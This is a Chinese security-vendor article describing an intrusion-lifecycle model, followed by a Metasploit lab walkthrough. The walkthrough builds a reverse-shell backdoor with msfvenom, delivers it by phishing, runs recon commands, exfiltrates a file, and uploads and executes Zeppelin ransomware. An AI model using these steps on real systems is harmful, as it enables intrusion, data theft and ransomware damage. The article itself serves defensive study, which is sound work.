《入侵生命周期细分实践指南系列》：命令执行攻击

美创科技为了更好地进行入侵检测和防御，参照各种安全威胁框架和自身的实践与思考，提出了基于入侵生命周期的攻击管理模型，作为美创新一代安全架构的三大支柱之一。

入侵生命周期v1.0把入侵过程划分为7个阶段：探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库，匹配到不同的入侵阶段。需要注意的是，并非所有的入侵都会经历这7个阶段，也没有绝对的线性次序。

1）探索发现

在这个阶段中，攻击者会先锁定攻击对象，然后利用某些技术手段，尽可能多地获取目标暴露出来的信息，如通过端口扫描、指纹探测等方式，发现敏感端口及版本信息，进而寻找攻击点，为下一步入侵做准备。

2）入侵和感染

在这个阶段，攻击者会根据“探索发现”阶段所发现的重要信息，来对目标暴露出的攻击面进行攻击尝试，在“探索发现”阶段收集到的信息越多，攻击对象所暴露的攻击面也就越多，攻击更易成功。

3）探索感知

攻击者在成功进入系统内部后，由于是首次进入所以会出现对内部环境不熟悉的情况，这时攻击者的动作一般会是对当前所处环境进行探索，摸清内部大致的网络结构，常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描，后续根据攻击者的目的进行下一步操作。

4）传播

在此阶段，攻击者根据上一阶段在内网探索感知收集到的信息，选择特定的攻击手法。如若发现内部是域环境，攻击者可能会尝试先攻破域控服务器，再传播其他机器。若是工作组环境，可能会利用收集到的端口和服务信息，选择特定漏洞进行批量扫描攻击，来尽可能多地继续获得其他计算机的控制权。

5）持久化

攻击者在对资产进行恶意操作后，为了能够减少再次连接的攻击成本，方便下次进入，会进行“留后门”的操作，常见的后门如：建立计划任务，定时连接远程服务器；设置开机启动程序，在每次开机时触发执行特定恶意程序；新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。

6）攻击和利用

攻击者在此阶段便会开始对目标资产进行恶意操作，按照攻击者意愿，对能利用的数据进行窃取、利用；对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。

7）恢复

攻击者在执行所有的攻击操作时，往往会在系统上留下大量的行为日志，因此在这一阶段，攻击者会对记录自身痕迹的所有日志进行处理，或删除或混淆，从而消灭证据，逃避追踪。

本系列文章基于美创科技入侵生命周期1.0架构，细分各阶段攻击者的常用攻击手段，并对相关攻击手段的具体实施方式进行逐一剖析，为安全防御建设提供有力知识补充和反制准备。

命令执行攻击（攻击和利用）

Command-Line Interface，即命令行界面。命令行界面提供了一种与计算机系统进行交互的方式，并且是跨多种类型的操作系统的共有功能。Windows 系统上的一个示例命令行界面是 cmd，可用于执行许多任务，包括执行其他软件。

命令行界面是操作系统中最重要的应用程序之一，每个操作系统都会使用到它去执行系统命令、脚本、工具，攻击者可利用命令执行漏洞或webshell通过外部应用程序调用服务器的命令行界面执行命令。

根据攻击者的入侵流程和操作手段，通过命令行界面可执行创建用户、反弹shell，cs/msf上线、上传恶意文件、扫描内网信息等恶意操作。

从入侵生命周期角度分析，命令行界面可被攻击者用于探索感知以及攻击和利用两个阶段。

从攻击行为链条的上下文来看，针对命令行界面的行为链条输入输出如下

输入：目标服务器已被攻击者控制

输出：攻击者在操作过程中使用命令行界面与系统交互并执行恶意命令或恶意软件

命令行界面的常用手段如下

1、Metasploit生成windows后门并控制局域网主机，执行恶意操作

操作环境：本机 kali ,ip:192.168.215.151

被攻击者 window7,ip:192.168.215.148

网络环境：局域网

（1）首先执行 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.215.151 LPORT=6666 -f exe > 6666.exe 生成一个 windows 环境下的后门 exe 文件，LHOST 是执行后门后所要反弹的 ip,LPORT 是端口。

（2）启动 msfconsole

（3）启动 msf 后步骤如下：

①使用 use exploit/multi/handler 模块

②设置 payload，set payload windows/meterpreter/reverse_tcp，这次是一个反弹 shell 的payload

③设置 LHOST 为本机的 ip192.168.215.151

④设置 LPORT 为 6666，与我们前面生成时 windows 后门时的端口一样

⑤最后 exploit 执行

（4）设置完成后，把前面生成的后门文件 6666.exe 通过钓鱼邮件或社交媒体渠道发送给受害者，如下图可以看到 windows 已经执行了后门文件

（5）输入 shell，即可切换到 cmd 命令行界面

（6）使用 cmd，可进行信息收集

以下为常用来渗透的 windows 命令

①收集受感染机器的信息

tasklist -- 显示运行的所有进程

ver -- 显示系统版本号

ipconfig -- 显示当前 TCP/IP 网络配置

systeminfo -- 显示关于计算机及其操作系统的详细配置信息

net time -- 查看系统时间

netstat -- 显示网络连接、路由表和网络接口信息

whoami -- 查看当前有效用户名

net start -- 启动服务

②查找保存在机器和网络中的远程计算机上的信息

dir -- 显示磁盘目录内容

net view -- 显示共享资源列表

ping -- 检查网络是否连通

net use -- 查看连接的计算机

type -- 显示文本文件的内容l

net user -- 显示用户账户信息

net localgroup -- 修改计算机上的本地组

net group -- 添加、显示或修改服务器上的全局组

net config -- 显示正在运行的可配置服务 l

net share -- 创建、删除或显示共享资源

③用其他恶意软件感染机器或尝试访问其他机器

reg -- 注册表操作

wmic -- 提供了从命令行接口和批命令脚本执行系统管理的支持

netsh advfirewall -- 管理防火墙

sc -- 用来和 NT 服务控制器和服务进行通讯的命令行程序

（7）使用 download C:\Users\dell\Downloads\work\111.txt /root命令，可将 windows下的文件下载到 kali

（8）、使用 upload /root/zeppelin.exe C:\Users\dell\Desktopmingl ,将 zeppelin 勒索病毒上传到windows上

（9）如下图，可看到 zeppelin 勒索病毒的 exe 文件已上传到 windows 的桌面上。

（10）、执行 start Zeppelin.exe ，执行勒索病毒，该 windows 受到勒索病毒攻击，文件被加密。

原文始发于微信公众号（第59号）：《入侵生命周期细分实践指南系列》：命令执行攻击